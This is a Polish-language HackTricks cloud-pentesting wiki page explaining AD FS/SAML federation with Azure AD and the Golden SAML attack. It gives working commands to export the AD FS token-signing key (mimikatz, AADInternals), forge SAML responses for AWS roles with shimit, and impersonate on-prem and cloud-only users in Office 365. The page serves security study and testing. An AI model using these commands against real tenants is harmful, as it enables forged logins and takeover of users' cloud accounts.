Polish - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Support HackTricks

Podstawowe informacje

Z dokumentacji:Federacja to zbiór domen, które ustanowiły zaufanie. Poziom zaufania może się różnić, ale zazwyczaj obejmuje uwierzytelnianie i prawie zawsze obejmuje autoryzację. Typowa federacja może obejmować wiele organizacji, które ustanowiły zaufanie dla wspólnego dostępu do zestawu zasobów.

Możesz federować swoje środowisko on-premises z Azure AD i używać tej federacji do uwierzytelniania i autoryzacji. Ta metoda logowania zapewnia, że całe uwierzytelnianie użytkowników odbywa się on-premises. Ta metoda pozwala administratorom na wdrożenie bardziej rygorystycznych poziomów kontroli dostępu. Dostępna jest federacja z AD FS i PingFederate.

W zasadzie, w Federacji, całe uwierzytelnianie odbywa się w środowisku on-prem i użytkownik doświadcza SSO we wszystkich zaufanych środowiskach. Dlatego użytkownicy mogą uzyskiwać dostęp do aplikacji w chmurze za pomocą swoich poświadczeń on-prem.

Security Assertion Markup Language (SAML) jest używany do wymiany wszystkich informacji o uwierzytelnianiu i autoryzacji między dostawcami.

W każdej konfiguracji federacji są trzy strony:

  • Użytkownik lub Klient

  • Dostawca Tożsamości (IdP)

  • Dostawca Usług (SP)

(Obrazy z https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Początkowo użytkownik uzyskuje dostęp do aplikacji (Dostawca Usług lub SP, takich jak AWS console lub vSphere web client). Ten krok może zostać pominięty, prowadząc klienta bezpośrednio do IdP (Dostawca Tożsamości) w zależności od konkretnej implementacji.

  2. Następnie SP identyfikuje odpowiedni IdP (np. AD FS, Okta) do uwierzytelnienia użytkownika. Tworzy SAML (Security Assertion Markup Language) AuthnRequest i przekierowuje klienta do wybranego IdP.

  3. IdP przejmuje kontrolę, uwierzytelniając użytkownika. Po uwierzytelnieniu IdP formułuje SAMLResponse i przekazuje go do SP za pośrednictwem użytkownika.

  4. Na koniec SP ocenia SAMLResponse. Jeśli zostanie pomyślnie zweryfikowany, co oznacza zaufanie do IdP, użytkownik uzyskuje dostęp. To kończy proces logowania, umożliwiając użytkownikowi korzystanie z usługi.

Jeśli chcesz dowiedzieć się więcej o uwierzytelnianiu SAML i typowych atakach, przejdź do:

Pivoting

  • AD FS to model tożsamości oparty na roszczeniach.

  • "..roszczenia to po prostu oświadczenia (na przykład imię, tożsamość, grupa), składane na temat użytkowników, które są używane głównie do autoryzacji dostępu do aplikacji opartych na roszczeniach znajdujących się w dowolnym miejscu w Internecie."

  • Roszczenia dla użytkownika są zapisywane wewnątrz tokenów SAML i są następnie podpisywane przez IdP w celu zapewnienia poufności.

  • Użytkownik jest identyfikowany przez ImmutableID. Jest on globalnie unikalny i przechowywany w Azure AD.

  • ImmutableID jest przechowywany on-prem jako ms-DS-ConsistencyGuid dla użytkownika i/lub może być wyprowadzony z GUID użytkownika.

  • Więcej informacji w https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML attack:

  • W ADFS, odpowiedź SAML jest podpisywana przez certyfikat podpisywania tokenów.

  • Jeśli certyfikat zostanie skompromitowany, możliwe jest uwierzytelnienie się w Azure AD jako DOWOLNY użytkownik zsynchronizowany z Azure AD!

  • Podobnie jak w przypadku nadużycia PTA, zmiana hasła użytkownika lub MFA nie będzie miała żadnego wpływu, ponieważ fałszujemy odpowiedź uwierzytelniającą.

  • Certyfikat można wyodrębnić z serwera AD FS z uprawnieniami DA, a następnie można go używać z dowolnego urządzenia podłączonego do internetu.

  • Więcej informacji w https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Proces, w którym Dostawca Tożsamości (IdP) generuje SAMLResponse w celu autoryzacji logowania użytkownika, jest kluczowy. W zależności od konkretnej implementacji IdP, odpowiedź może być podpisana lub zaszyfrowana przy użyciu prywatnego klucza IdP. Ta procedura umożliwia Dostawcy Usług (SP) potwierdzenie autentyczności SAMLResponse, zapewniając, że została ona rzeczywiście wydana przez zaufany IdP.

Można to porównać do ataku golden ticket, gdzie klucz uwierzytelniający tożsamość i uprawnienia użytkownika (KRBTGT dla golden tickets, prywatny klucz podpisywania tokenów dla golden SAML) może być manipulowany w celu sfałszowania obiektu uwierzytelniającego (TGT lub SAMLResponse). To pozwala na podszywanie się pod dowolnego użytkownika, dając nieautoryzowany dostęp do SP.

Golden SAML oferuje pewne zalety:

  • Mogą być tworzone zdalnie, bez konieczności bycia częścią domeny lub federacji.

  • Pozostają skuteczne nawet przy włączonym Two-Factor Authentication (2FA).

  • Prywatny klucz podpisywania tokenów nie odnawia się automatycznie.

  • Zmiana hasła użytkownika nie unieważnia już wygenerowanego SAML.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) to usługa Microsoftu, która ułatwia bezpieczną wymianę informacji o tożsamości między zaufanymi partnerami biznesowymi (federacja). Zasadniczo pozwala na udostępnianie tożsamości użytkowników przez usługę domenową innym dostawcom usług w ramach federacji.

Z AWS ufającym skompromitowanej domenie (w federacji), ta luka może być wykorzystana do potencjalnego uzyskania dowolnych uprawnień w środowisku AWS. Atak wymaga prywatnego klucza używanego do podpisywania obiektów SAML, podobnie jak w przypadku potrzeby KRBTGT w ataku golden ticket. Dostęp do konta użytkownika AD FS jest wystarczający, aby uzyskać ten prywatny klucz.

Wymagania do przeprowadzenia ataku golden SAML obejmują:

  • Prywatny klucz podpisywania tokenów

  • Publiczny certyfikat IdP

  • Nazwa IdP

  • Nazwa roli (rola do przejęcia)

  • Domain\username

  • Nazwa sesji roli w AWS

  • Amazon account ID

Tylko elementy pogrubione są obowiązkowe. Pozostałe można wypełnić według uznania.

Aby uzyskać prywatny klucz, konieczny jest dostęp do konta użytkownika AD FS. Stamtąd prywatny klucz można wyeksportować ze sklepu osobistego za pomocą narzędzi takich jak mimikatz. Aby zebrać pozostałe wymagane informacje, można użyć snapinu Microsoft.Adfs.Powershell w następujący sposób, upewniając się, że jesteś zalogowany jako użytkownik ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Z całą tą informacją, możliwe jest zapomnienie ważnej SAMLResponse jako użytkownik, którego chcesz podszyć się używając shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Możliwe jest również utworzenie ImmutableID użytkowników tylko w chmurze i podszywanie się pod nich

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referencje

Wspieraj HackTricks
PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated